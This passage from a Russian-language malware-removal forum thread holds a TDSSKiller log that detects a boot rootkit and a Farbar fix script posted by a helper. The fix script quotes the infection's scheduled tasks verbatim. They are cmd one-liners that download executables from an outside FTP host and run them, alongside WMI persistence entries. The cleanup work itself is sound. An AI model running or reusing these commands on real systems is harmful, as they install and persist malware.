    12:24:37.0095 0x139c  [ 82E8F44688E6FAC57B5B7C6FC7ADBC2A, DE1CDDEEF2285CC8387E88ACB13C000576DC8819DF6DC648C988068B5C83BB15 ] usbaudio        C:\Windows\system32\drivers\usbaudio.sys
    12:24:37.0101 0x139c  usbaudio - ok
    12:24:37.0129 0x139c  [ 481DFF26B4DCA8F4CBAC1F7DCE1D6829, 5D6E404FE0AB875202CA1A3E8E9D2F4368DF6ACCFA1C872ECFAF8399CBA3A485 ] usbccgp         C:\Windows\system32\drivers\usbccgp.sys
    12:24:37.0134 0x139c  usbccgp - ok
    12:24:37.0162 0x139c  [ AF0892A803FDDA7492F595368E3B68E7, F263346DEB4D742EB436CF578F187AC8521D84CED52E98475E6198EC52244F07 ] usbcir          C:\Windows\system32\drivers\usbcir.sys
    12:24:37.0168 0x139c  usbcir - ok
    12:24:37.0193 0x139c  [ 74EE782B1D9C241EFE425565854C661C, E8258EA65B0FCAD4E077B176E9D9324646B652D6E651241E397346A39770D065 ] usbehci         C:\Windows\system32\drivers\usbehci.sys
    12:24:37.0196 0x139c  usbehci - ok
    12:24:37.0241 0x139c  [ 2C780746DC44A28FE67004DC58173F05, 9E0596CE35C7430A31A7E77B4D12A1F521B9ED8EB0614E6FB38403AC614C3EE3 ] usbfilter       C:\Windows\system32\DRIVERS\usbfilter.sys
    12:24:37.0242 0x139c  usbfilter - ok
    12:24:37.0284 0x139c  [ DC96BD9CCB8403251BCF25047573558E, 66EBF8A6B3BC0634F32DDCC8BA31F1EB5987E8C6853E1DC26005E3EED0945565 ] usbhub          C:\Windows\system32\drivers\usbhub.sys
    12:24:37.0306 0x139c  usbhub - ok
    12:24:37.0327 0x139c  [ 58E546BBAF87664FC57E0F6081E4F609, 1DD99D57369A0069654432AB5325AFD8F7D422D531E053EA05FF664BA6BDAEF9 ] usbohci         C:\Windows\system32\drivers\usbohci.sys
    12:24:37.0330 0x139c  usbohci - ok
    12:24:37.0365 0x139c  [ 73188F58FB384E75C4063D29413CEE3D, B485463933306036B1D490722CB1674DC85670753D79FA0EF7EBCA7BBAAD9F7C ] usbprint        C:\Windows\system32\DRIVERS\usbprint.sys
    12:24:37.0380 0x139c  usbprint - ok
    12:24:37.0400 0x139c  [ D76510CFA0FC09023077F22C2F979D86, 5662281C6D515423255D3C262EA368DBAFC250235E535FBFA3E59D3487695439 ] USBSTOR         C:\Windows\system32\DRIVERS\USBSTOR.SYS
    12:24:37.0408 0x139c  USBSTOR - ok
    12:24:37.0428 0x139c  [ 81FB2216D3A60D1284455D511797DB3D, 121E52B18A1832E775EA0AE2E053BAA53E5A70E9754724B1449AE5992D63B13E ] usbuhci         C:\Windows\system32\drivers\usbuhci.sys
    12:24:37.0430 0x139c  usbuhci - ok
    12:24:37.0476 0x139c  [ 454800C2BC7F3927CE030141EE4F4C50, 10901E62DAA70657C499AD590DECCCA6E46FDDF4A193B2F19279E1B8ED7B1E44 ] usbvideo        C:\Windows\System32\Drivers\usbvideo.sys
    12:24:37.0484 0x139c  usbvideo - ok
    12:24:37.0545 0x139c  [ 70D05EE263568A742D14E1876DF80532, D49D7B60EE30F2398B8B532F4A4C3F17535485F2BDB9B14AB600E2A4E3F12A6B ] usb_rndisx      C:\Windows\system32\DRIVERS\usb8023x.sys
    12:24:37.0548 0x139c  usb_rndisx - ok
    12:24:37.0579 0x139c  [ EDBB23CBCF2CDF727D64FF9B51A6070E, 7202484C8E1BFB2AFD64D8C81668F3EDE0E3BF5EB27572877A0A7B337AE5AE42 ] UxSms           C:\Windows\System32\uxsms.dll
    12:24:37.0584 0x139c  UxSms - ok
    12:24:37.0603 0x139c  [ 0793F40B9B8A1BDD266296409DBD91EA, 8A383FC9A66A327905C340D06138980F9E489479535A2C2AAE5E8BB14A74826E ] VaultSvc        C:\Windows\system32\lsass.exe
    12:24:37.0605 0x139c  VaultSvc - ok
    12:24:37.0628 0x139c  vdm0mjk0 - ok
    12:24:37.0667 0x139c  [ C5C876CCFC083FF3B128F933823E87BD, 6FE0FBB6C3207E09300E0789E2168F76668D87C317FE9F263E733827ADCFBE0D ] vdrvroot        C:\Windows\system32\drivers\vdrvroot.sys
    12:24:37.0669 0x139c  vdrvroot - ok
    12:24:37.0743 0x139c  [ 8D6B481601D01A456E75C3210F1830BE, A2CEF483F4231367138EEF7E67FD5BE5364FC0780C44CA1368E36CE4AA3D0633 ] vds             C:\Windows\System32\vds.exe
    12:24:37.0776 0x139c  vds - ok
    12:24:37.0805 0x139c  [ DA4DA3F5E02943C2DC8C6ED875DE68DD, EDE604536DB78C512D68C92B26DA77C8811AC109D1F0A473673F0A82D15A2838 ] vga             C:\Windows\system32\DRIVERS\vgapnp.sys
    12:24:37.0808 0x139c  vga - ok
    12:24:37.0835 0x139c  [ 53E92A310193CB3C03BEA963DE7D9CFC, 45898604375B42EB1246C17A22D91C2440F11C746FF6459AD38027C1BC2E3125 ] VgaSave         C:\Windows\System32\drivers\vga.sys
    12:24:37.0847 0x139c  VgaSave - ok
    12:24:37.0859 0x139c  VGPU - ok
    12:24:37.0888 0x139c  [ 2CE2DF28C83AEAF30084E1B1EB253CBB, D1946816A1CB89F825CBEA58F94A4C9D0CE7249355CD3915563F54054EE564BF ] vhdmp           C:\Windows\system32\drivers\vhdmp.sys
    12:24:37.0897 0x139c  vhdmp - ok
    12:24:37.0920 0x139c  [ E5689D93FFE4E5D66C0178761240DD54, 6D35CED80681B12AAF63BFA0DA1C386E71D3838839B68A686990AA8031949D27 ] viaide          C:\Windows\system32\drivers\viaide.sys
    12:24:37.0922 0x139c  viaide - ok
    12:24:37.0947 0x139c  [ 86EA3E79AE350FEA5331A1303054005F, 7E7D6027EB41E591633C7383A5D29A3BA8ECFC08C177D2BCF741EE27686B1691 ] vmbus           C:\Windows\system32\drivers\vmbus.sys
    12:24:37.0954 0x139c  vmbus - ok
    12:24:37.0977 0x139c  [ 7DE90B48F210D29649380545DB45A187, 09522F84285D62B961868DA98C40B82E746CA4D24A9780905673A2349D6B07F4 ] VMBusHID        C:\Windows\system32\drivers\VMBusHID.sys
    12:24:37.0979 0x139c  VMBusHID - ok
    12:24:38.0008 0x139c  [ D2AAFD421940F640B407AEFAAEBD91B0, 31EF342A60AF04F4108759A71F8FB7B8C8819216CF3D16A95B2BA0E33A8A9161 ] volmgr          C:\Windows\system32\drivers\volmgr.sys
    12:24:38.0012 0x139c  volmgr - ok
    12:24:38.0062 0x139c  [ A255814907C89BE58B79EF2F189B843B, 463DB771851352185B6AC323BD93B9084D47291E53C1F7B628B65D6918B2E28F ] volmgrx         C:\Windows\system32\drivers\volmgrx.sys
    12:24:38.0085 0x139c  volmgrx - ok
    12:24:38.0117 0x139c  [ 0D08D2F3B3FF84E433346669B5E0F639, 3D6716CEC95B8861A7CC5778E91F310528DC6BEE0E57A3C8757FC675154EBDEC ] volsnap         C:\Windows\system32\drivers\volsnap.sys
    12:24:38.0138 0x139c  volsnap - ok
    12:24:38.0164 0x139c  [ 5E2016EA6EBACA03C04FEAC5F330D997, 53106EB877459FE55A459111F7AB0EE320BB3B4C954D3DB6FA1642396001F2AC ] vsmraid         C:\Windows\system32\DRIVERS\vsmraid.sys
    12:24:38.0171 0x139c  vsmraid - ok
    12:24:38.0271 0x139c  [ B60BA0BC31B0CB414593E169F6F21CC2, 47B801E623254CF0202B3591CB5C019CABFB52F123C7D47E29D19B32F1F2B915 ] VSS             C:\Windows\system32\vssvc.exe
    12:24:38.0350 0x139c  VSS - ok
    12:24:38.0417 0x139c  [ 36D4720B72B5C5D9CB2B9C29E9DF67A1, 3254523C85C70EBA2DBAC05DB2DBA89EDF8E9195F390F7C21F96458FB6B2E3D7 ] vwifibus        C:\Windows\system32\DRIVERS\vwifibus.sys
    12:24:38.0419 0x139c  vwifibus - ok
    12:24:38.0456 0x139c  [ 6A3D66263414FF0D6FA754C646612F3F, 30F6BA594B0D3B94113064015A16D97811CD989DF1715CCE21CEAB9894C1B4FB ] vwififlt        C:\Windows\system32\DRIVERS\vwififlt.sys
    12:24:38.0459 0x139c  vwififlt - ok
    12:24:38.0479 0x139c  [ 6A638FC4BFDDC4D9B186C28C91BD1A01, 5521F1DC515586777EC4837E0AEAA3E613CC178AF1074031C4D0D0C695A93168 ] vwifimp         C:\Windows\system32\DRIVERS\vwifimp.sys
    12:24:38.0482 0x139c  vwifimp - ok
    12:24:38.0539 0x139c  [ 1C9D80CC3849B3788048078C26486E1A, 34A89F31E53F6B6C209B286F580CC2257AE6D057E4E20741F241C9C167947962 ] W32Time         C:\Windows\system32\w32time.dll
    12:24:38.0562 0x139c  W32Time - ok
    12:24:38.0591 0x139c  [ 4E9440F4F152A7B944CB1663D3935A3E, 8FE04EBD3BC612EE943A21A3E56F37E5C9B578CDACA6044048181DAD81816D53 ] WacomPen        C:\Windows\system32\DRIVERS\wacompen.sys
    12:24:38.0594 0x139c  WacomPen - ok
    12:24:38.0639 0x139c  [ 356AFD78A6ED4457169241AC3965230C, CE4D1EE3525C10AC658B20776C3E444DE44874C837713DC5311386EDFCB18399 ] WANARP          C:\Windows\system32\DRIVERS\wanarp.sys
    12:24:38.0643 0x139c  WANARP - ok
    12:24:38.0655 0x139c  [ 356AFD78A6ED4457169241AC3965230C, CE4D1EE3525C10AC658B20776C3E444DE44874C837713DC5311386EDFCB18399 ] Wanarpv6        C:\Windows\system32\DRIVERS\wanarp.sys
    12:24:38.0662 0x139c  Wanarpv6 - ok
    12:24:38.0773 0x139c  [ 78F4E7F5C56CB9716238EB57DA4B6A75, 46A4E78CE5F2A4B26F4E9C3FF04A99D9B727A82AC2E390A82A1611C3F6E0C9AF ] wbengine        C:\Windows\system32\wbengine.exe
    12:24:38.0863 0x139c  wbengine - ok
    12:24:38.0919 0x139c  [ 3AA101E8EDAB2DB4131333F4325C76A3, 4F7BD3DA5E58B18BFF106CFF7B45E75FD13EE556D433C695BA23EC80827E49DE ] WbioSrvc        C:\Windows\System32\wbiosrvc.dll
    12:24:38.0929 0x139c  WbioSrvc - ok
    12:24:39.0030 0x139c  [ 2F14A6996618BB44EC399C15418FD247, 711F4FED85466D319F36B3394623013E058DB2FAF53DD69C1D578BF5F3E5AB98 ] WCAssistantService C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe
    12:24:39.0031 0x139c  WCAssistantService - ok
    12:24:39.0090 0x139c  [ 7368A2AFD46E5A4481D1DE9D14848EDD, 8039C478FC2D9F095F5883A4FA47F9E6EDF57CC88A4AA74F07C88445F90DED57 ] wcncsvc         C:\Windows\System32\wcncsvc.dll
    12:24:39.0121 0x139c  wcncsvc - ok
    12:24:39.0151 0x139c  [ 20F7441334B18CEE52027661DF4A6129, 7B8E0247234B740FED2BE9B833E9CE8DD7453340123AB43F6B495A7E6A27B0DD ] WcsPlugInService C:\Windows\System32\WcsPlugInService.dll
    12:24:39.0156 0x139c  WcsPlugInService - ok
    12:24:39.0218 0x139c  [ 72889E16FF12BA0F235467D6091B17DC, F2FD0BBD075E33608D93F350D216F97442AB89ABD540513C2D568C78096E12A8 ] Wd              C:\Windows\system32\DRIVERS\wd.sys
    12:24:39.0220 0x139c  Wd - ok
    12:24:39.0263 0x139c  [ 441BD2D7B4F98134C3A4F9FA570FD250, FF20815273014C5A27C2B75E2C70FE674809293627056199F502DFDF4CECFCA1 ] Wdf01000        C:\Windows\system32\drivers\Wdf01000.sys
    12:24:39.0296 0x139c  Wdf01000 - ok
    12:24:39.0314 0x139c  [ BF1FC3F79B863C914687A737C2F3D681, B2DF47AC4931ACFB243775767B77065CC0D98778FC0243C793A3E219EB961209 ] WdiServiceHost  C:\Windows\system32\wdi.dll
    12:24:39.0321 0x139c  WdiServiceHost - ok
    12:24:39.0332 0x139c  [ BF1FC3F79B863C914687A737C2F3D681, B2DF47AC4931ACFB243775767B77065CC0D98778FC0243C793A3E219EB961209 ] WdiSystemHost   C:\Windows\system32\wdi.dll
    12:24:39.0338 0x139c  WdiSystemHost - ok
    12:24:39.0403 0x139c  [ 3DB6D04E1C64272F8B14EB8BC4616280, 9138642B1C19F895D4ECFD930160C80FBF15813CE63BBF4C899842C300FD3026 ] WebClient       C:\Windows\System32\webclnt.dll
    12:24:39.0426 0x139c  WebClient - ok
    12:24:39.0461 0x139c  [ C749025A679C5103E575E3B48E092C43, B71171D07EE7AB085A24BF3A1072FF2CE7EA021AAE695F6A90640E6EE8EB55C1 ] Wecsvc          C:\Windows\system32\wecsvc.dll
    12:24:39.0482 0x139c  Wecsvc - ok
    12:24:39.0510 0x139c  [ 7E591867422DC788B9E5BD337A669A08, 484E6BCCDF7ADCE9A1AACAD1BC7C7D7694B9E40FA90D94B14D80C607784F6C75 ] wercplsupport   C:\Windows\System32\wercplsupport.dll
    12:24:39.0517 0x139c  wercplsupport - ok
    12:24:39.0551 0x139c  [ 6D137963730144698CBD10F202E9F251, A9F522A125158D94F540544CCD4DBF47B9DCE2EA878C33675AFE40F80E8F4979 ] WerSvc          C:\Windows\System32\WerSvc.dll
    12:24:39.0557 0x139c  WerSvc - ok
    12:24:39.0584 0x139c  [ 611B23304BF067451A9FDEE01FBDD725, 0AF2734B978165FC6FD22B64862132CCE32528A21C698A49D176129446E099C8 ] WfpLwf          C:\Windows\system32\DRIVERS\wfplwf.sys
    12:24:39.0586 0x139c  WfpLwf - ok
    12:24:39.0605 0x139c  [ 05ECAEC3E4529A7153B3136CEB49F0EC, 9995CB2CEC70A633EA33CBB0DEAD2BB28CB67132B41E9444BDAB9E75744C9A50 ] WIMMount        C:\Windows\system32\drivers\wimmount.sys
    12:24:39.0608 0x139c  WIMMount - ok
    12:24:39.0632 0x139c  WinDefend - ok
    12:24:39.0650 0x139c  WinHttpAutoProxySvc - ok
    12:24:39.0715 0x139c  [ 19B07E7E8915D701225DA41CB3877306, D6555E8D276DBB11358246E0FE215F76F1FB358791C76B88D82C2A66A42DA19F ] Winmgmt         C:\Windows\system32\wbem\WMIsvc.dll
    12:24:39.0724 0x139c  Winmgmt - ok
    12:24:39.0833 0x139c  [ BCB1310604AA415C4508708975B3931E, 9D943F086D454345153A0DD426B4432532A44FD87950386B186E1CAD2AC70565 ] WinRM           C:\Windows\system32\WsmSvc.dll
    12:24:39.0915 0x139c  WinRM - ok
    12:24:39.0993 0x139c  [ FE88B288356E7B47B74B13372ADD906D, A16B166F6BB32EF9D2A142F27B9EC54CBC7B3AC915799783CF4C40E525BC9E03 ] WinUsb          C:\Windows\system32\DRIVERS\WinUsb.sys
    12:24:39.0996 0x139c  WinUsb - ok
    12:24:40.0049 0x139c  [ 4FADA86E62F18A1B2F42BA18AE24E6AA, CE1683386886BF34862681A46199EA7E7FB4232A186047DA7FBD8EC240AF6726 ] Wlansvc         C:\Windows\System32\wlansvc.dll
    12:24:40.0094 0x139c  Wlansvc - ok
    12:24:40.0116 0x139c  [ F6FF8944478594D0E414D3F048F0D778, 6F75E0AE6127B33A92A88E59D4B048FD4C15F997807BE7BF0EFE76F95235B1D9 ] WmiAcpi         C:\Windows\system32\drivers\wmiacpi.sys
    12:24:40.0118 0x139c  WmiAcpi - ok
    12:24:40.0145 0x139c  [ 38B84C94C5A8AF291ADFEA478AE54F93, 1AC267AC73670BEA5F3785C9AD9DB146F8E993A862C843742B21FDB90D102B2A ] wmiApSrv        C:\Windows\system32\wbem\WmiApSrv.exe
    12:24:40.0153 0x139c  wmiApSrv - ok
    12:24:40.0182 0x139c  WMPNetworkSvc - ok
    12:24:40.0202 0x139c  [ 96C6E7100D724C69FCF9E7BF590D1DCA, 2E63C9B0893B4FC03B7A71BAEA6202D3D3DB1B52F3643467829B5A573FD7655B ] WPCSvc          C:\Windows\System32\wpcsvc.dll
    12:24:40.0206 0x139c  WPCSvc - ok
    12:24:40.0248 0x139c  [ 93221146D4EBBF314C29B23CD6CC391D, C0750858A65BF51E210CD244C825C121D67E025CD2D2455139991AAC289A90FE ] WPDBusEnum      C:\Windows\system32\wpdbusenum.dll
    12:24:40.0255 0x139c  WPDBusEnum - ok
    12:24:40.0294 0x139c  [ 6BCC1D7D2FD2453957C5479A32364E52, E48554D31FBDCF8F985C1C72524CAA9106F5B7CC2B79064F8F5E2562D517F090 ] ws2ifsl         C:\Windows\system32\drivers\ws2ifsl.sys
    12:24:40.0297 0x139c  ws2ifsl - ok
    12:24:40.0324 0x139c  [ E8B1FE6669397D1772D8196DF0E57A9E, 39FE0819360719F756BD31A1884A0508A1E2371ACC723E25E005CBEC0A7B02FA ] wscsvc          C:\Windows\System32\wscsvc.dll
    12:24:40.0330 0x139c  wscsvc - ok
    12:24:40.0341 0x139c  WSearch - ok
    12:24:40.0471 0x139c  [ D9EF901DCA379CFE914E9FA13B73B4C4, 3BE9693B7B2AFEE23D72AF5DA211379724D752F0EC18ACB7D3DE3DDFC5AE0004 ] wuauserv        C:\Windows\system32\wuaueng.dll
    12:24:40.0567 0x139c  wuauserv - ok
    12:24:40.0626 0x139c  [ D3381DC54C34D79B22CEE0D65BA91B7C, 70DC4ADCA4C0C28BB133287511E329D1B6B9B97F96CDE5B1D2F1F59FE1A965D9 ] WudfPf          C:\Windows\system32\drivers\WudfPf.sys
    12:24:40.0631 0x139c  WudfPf - ok
    12:24:40.0679 0x139c  [ CF8D590BE3373029D57AF80914190682, FB9641777E90A58C063FBE95F081DC6D2F4770827DE19108A9DC3E3D6B17B4BF ] WUDFRd          C:\Windows\system32\DRIVERS\WUDFRd.sys
    12:24:40.0687 0x139c  WUDFRd - ok
    12:24:40.0730 0x139c  [ 7A95C95B6C4CF292D689106BCAE49543, 9029F489E1E817CE12839B8C6656E46190497D445DC3F43C20CF96E5E6BD0691 ] wudfsvc         C:\Windows\System32\WUDFSvc.dll
    12:24:40.0736 0x139c  wudfsvc - ok
    12:24:40.0761 0x139c  [ 9A3452B3C2A46C073166C5CF49FAD1AE, D6F95F51D8E37BA4CF403965EC08CCFEEA9EEFDBFC7752432EAEC19925BDA115 ] WwanSvc         C:\Windows\System32\wwansvc.dll
    12:24:40.0772 0x139c  WwanSvc - ok
    12:24:40.0830 0x139c  ================ Scan global ===============================
    12:24:40.0862 0x139c  [ BA0CD8C393E8C9F83354106093832C7B, 18D8A4780A2BAA6CEF7FBBBDA0EF6BF2DADF146E1E578A618DD5859E8ADBF1A8 ] C:\Windows\system32\basesrv.dll
    12:24:40.0890 0x139c  [ E0406AEF04B088D1C49FC78D0546F689, 7ADD4D1C174FAA5405BD94BAF104A5DD56BE00DBDC1ED9F069A95430A7B264AA ] C:\Windows\system32\winsrv.dll
    12:24:40.0916 0x139c  [ E0406AEF04B088D1C49FC78D0546F689, 7ADD4D1C174FAA5405BD94BAF104A5DD56BE00DBDC1ED9F069A95430A7B264AA ] C:\Windows\system32\winsrv.dll
    12:24:40.0953 0x139c  [ D6160F9D869BA3AF0B787F971DB56368, 0033E6212DD8683E4EE611B290931FDB227B4795F0B17C309DC686C696790529 ] C:\Windows\system32\sxssrv.dll
    12:24:40.0982 0x139c  [ 24ACB7E5BE595468E3B9AA488B9B4FCB, 63541E3432FCE953F266AE553E7A394978D6EE3DB52388D885F668CF42C5E7E2 ] C:\Windows\system32\services.exe
    12:24:41.0005 0x139c  [ Global ] - ok
    12:24:41.0008 0x139c  ================ Scan MBR ==================================
    12:24:41.0024 0x139c  [ FFD04E5ADC2964088A7D6B603860987D ] \Device\Harddisk0\DR0
    12:24:41.0163 0x139c  \Device\Harddisk0\DR0 - detected Rootkit.Boot.DarkGalaxy.a ( 0 )
    12:24:41.0163 0x139c  \Device\Harddisk0\DR0 ( Rootkit.Boot.DarkGalaxy.a ) - infected
    12:24:43.0793 0x139c  ================ Scan VBR ==================================
    12:24:43.0797 0x139c  [ D7BDFF3CC1775328C570F6E98501FB5C ] \Device\Harddisk0\DR0\Partition1
    12:24:43.0799 0x139c  \Device\Harddisk0\DR0\Partition1 - ok
    12:24:43.0807 0x139c  [ F78EF5A5D27173EB1BFFF8A8C59FEA6D ] \Device\Harddisk0\DR0\Partition2
    12:24:43.0809 0x139c  \Device\Harddisk0\DR0\Partition2 - ok
    12:24:43.0817 0x139c  [ 72FD4E17A75F26FB65A0658D1F0AD119 ] \Device\Harddisk0\DR0\Partition3
    12:24:43.0819 0x139c  \Device\Harddisk0\DR0\Partition3 - ok
    12:24:43.0824 0x139c  ================ Scan generic autorun ======================
    12:24:43.0826 0x139c  start - ok
    12:24:43.0960 0x139c  [ DCCA4B04AF87E52EF9EAA2190E06CBAC, 8858CFD159BB32AE9FCCA1A79EA83C876D481A286E914071D48F42FCA5B343D8 ] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe
    12:24:44.0006 0x139c  Sidebar - ok
    12:24:44.0042 0x139c  [ 0FA760BF380B08D0B67B5507CD8B32AA, 0F73A7F64C4FDAB98CD3A865CC54B3A7195761530FCB115B725CC5A9FB738739 ] C:\Windows\System32\mctadmin.exe
    12:24:44.0047 0x139c  mctadmin - ok
    12:24:44.0114 0x139c  [ DCCA4B04AF87E52EF9EAA2190E06CBAC, 8858CFD159BB32AE9FCCA1A79EA83C876D481A286E914071D48F42FCA5B343D8 ] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe
    12:24:44.0153 0x139c  Sidebar - ok
    12:24:44.0172 0x139c  [ 0FA760BF380B08D0B67B5507CD8B32AA, 0F73A7F64C4FDAB98CD3A865CC54B3A7195761530FCB115B725CC5A9FB738739 ] C:\Windows\System32\mctadmin.exe
    12:24:44.0175 0x139c  mctadmin - ok
    12:24:44.0925 0x139c  [ E2E257A4FCB999AA435D24403C1DB75C, 12AB75F8D2A5CC9358FBF095DDDD8765964B1571C0335726503A84EAAFD43590 ] C:\Program Files\CCleaner\CCleaner64.exe
    12:24:45.0623 0x139c  CCleaner Smart Cleaning - ok
    12:24:45.0730 0x139c  [ DCCA4B04AF87E52EF9EAA2190E06CBAC, 8858CFD159BB32AE9FCCA1A79EA83C876D481A286E914071D48F42FCA5B343D8 ] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe
    12:24:45.0757 0x139c  Sidebar - ok
    12:24:45.0775 0x139c  [ 0FA760BF380B08D0B67B5507CD8B32AA, 0F73A7F64C4FDAB98CD3A865CC54B3A7195761530FCB115B725CC5A9FB738739 ] C:\Windows\System32\mctadmin.exe
    12:24:45.0778 0x139c  mctadmin - ok
    12:24:45.0783 0x139c  Waiting for KSN requests completion. In queue: 7
    12:24:46.0783 0x139c  Waiting for KSN requests completion. In queue: 7
    12:24:47.0783 0x139c  Waiting for KSN requests completion. In queue: 7
    12:24:48.0811 0x139c  Win FW state via NFP2: enabled ( trusted )
    12:24:51.0721 0x139c  ============================================================
    12:24:51.0721 0x139c  Scan finished
    12:24:51.0721 0x139c  ============================================================
    12:24:51.0736 0x1394  Detected object count: 2
    12:24:51.0736 0x1394  Actual detected object count: 2
    12:25:07.0764 0x1394  System memory - cured
    12:25:07.0764 0x1394  System memory ( MEM:Rootkit.Win64.DarkGalaxy.a ) - User select action: Cure 
    12:25:08.0173 0x1394  \Device\Harddisk0\DR0\# - copied to quarantine
    12:25:08.0176 0x1394  \Device\Harddisk0\DR0 - copied to quarantine
    12:25:08.0292 0x1394  \Device\Harddisk0\DR0 ( Rootkit.Boot.DarkGalaxy.a ) - will be cured on reboot
    12:25:08.0302 0x1394  \Device\Harddisk0\DR0 - ok
    12:25:08.0302 0x1394  \Device\Harddisk0\DR0 ( Rootkit.Boot.DarkGalaxy.a ) - User select action: Cure 
    12:25:10.0233 0x1394  KLMD registered as C:\Windows\system32\drivers\60507944.sys
    Вложения Вложения

  10. #9
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    Сделайте новый лог FRST.txt

    Только вначале компьютер перезагрузите, если не сделали это после лечения в TDSSkiller
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  11. #10
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    логи после перезагрузки:
    Вложения Вложения

  12. #11
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    1. Выделите следующий код:
    Код:
    Start::
    CreateRestorePoint:
    (TODO: <公司名>) C:\Windows\Temp\conhost.exe
    (TODO: <公司名>) C:\Windows\Help\lsmosee.exe
    HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{b77e47df-92e3-4dc9-bf92-06701e26b574} <==== ATTENTION (Restriction - IP)
    CHR HKLM-x32\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj] - hxxps://clients2.google.com/service/update2/crx
    CHR HKLM-x32\...\Chrome\Extension: [mjmpfdkmpojoeemjmfiddlhkkndcdpno] - hxxp://clients2.google.com/service/update2/crx
    S3 TSSKX64; C:\Windows\System32\drivers\tsskx64.sys [38200 2015-11-29] (电脑管家)
    2018-12-30 12:21 - 2018-12-30 13:04 - 000003186 _____ C:\Windows\System32\Tasks\ok
    2018-12-30 12:20 - 2018-12-30 13:04 - 000003518 _____ C:\Windows\System32\Tasks\Mysa
    2018-12-30 12:20 - 2018-12-30 13:04 - 000003504 _____ C:\Windows\System32\Tasks\Mysa3
    2018-12-30 12:20 - 2018-12-30 13:04 - 000003424 _____ C:\Windows\System32\Tasks\Mysa2
    2018-12-30 12:20 - 2018-12-30 13:04 - 000003190 _____ C:\Windows\System32\Tasks\Mysa1
    2018-12-30 12:20 - 2018-12-30 12:59 - 000027136 _____ (Microsoft Corporation) C:\Windows\system\down.exe
    2018-12-30 12:20 - 2018-12-30 12:33 - 000000084 _____ C:\Program Files\Common Files\xp.dat
    2018-12-30 12:19 - 2018-12-30 12:56 - 000000084 _____ C:\Program Files\Common Files\xpdown.dat
    2018-10-22 09:04 - 2018-12-30 12:33 - 000000336 _____ C:\Windows\pools.txt
    2018-10-22 09:04 - 2018-10-22 09:04 - 000002497 _____ C:\Windows\cpu.txt
    2018-12-30 12:20 - 2018-12-30 13:03 - 002359296 _____ () C:\Windows\debug\item.dat
    WMI:subscription\__FilterToConsumerBinding->CommandLineEventConsumer.Name=\"fuckyoumm4\"",Filter="__EventFilter.Name=\"fuckyoumm3\": <==== ATTENTION
    WMI:subscription\__EventFilter->fuckyoumm3: <==== ATTENTION
    WMI:subscription\CommandLineEventConsumer->fuckyoumm4: <==== ATTENTION
    Task: {06C1FE8A-1556-4B17-8459-60B6714AE73C} - System32\Tasks\ok => rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
    Task: {1057662D-CD0C-4784-A41D-D905D3D48EC1} - System32\Tasks\Mysa3 => cmd /c echo open ftp.1226bye.xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
    Task: {43BF0D64-50E0-406E-AE8A-23364DB44424} - System32\Tasks\Mysa2 => cmd /c echo open ftp.1226bye.xyz>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
    ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> No File
    ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> No File
    Task: {85C41B2D-1970-42EE-A154-8815D683EC04} - System32\Tasks\Mysa => cmd /c echo open ftp.1226bye.xyz>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe <==== ATTENTION
    c:\windows\update.exe
    c:\windows\help\lsmosee.exe
    C:\Windows\Temp\conhost.exe
    Task: {ED350820-C464-48E8-8B89-B44783E3249D} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
    Folder: C:\Windows\system32\ps
    Folder: C:\Windows\system32\s
    Folder: C:\Windows\system32\p
    Reboot:
    End::
    2. Скопируйте выделенный текст (правая кнопка мышиКопировать).
    3. Запустите Farbar Recovery Scan Tool.
    4. Нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.
    • Обратите внимание: будет выполнена перезагрузка компьютера.
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  13. #12
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    высылаю
    Вложения Вложения

  14. #13
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    Папки
    C:\Windows\system32\ps
    C:\Windows\system32\s
    C:\Windows\system32\p
    удалите вручную.

    Проблема решена?
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  15. #14
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    Безымянный2.jpgБезымянный4.png
    в ситем32 нет данных папок.
    в автозагрузках "start" остался, удаляю вручную - после перезагрузки опять появляется

  16. #15
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
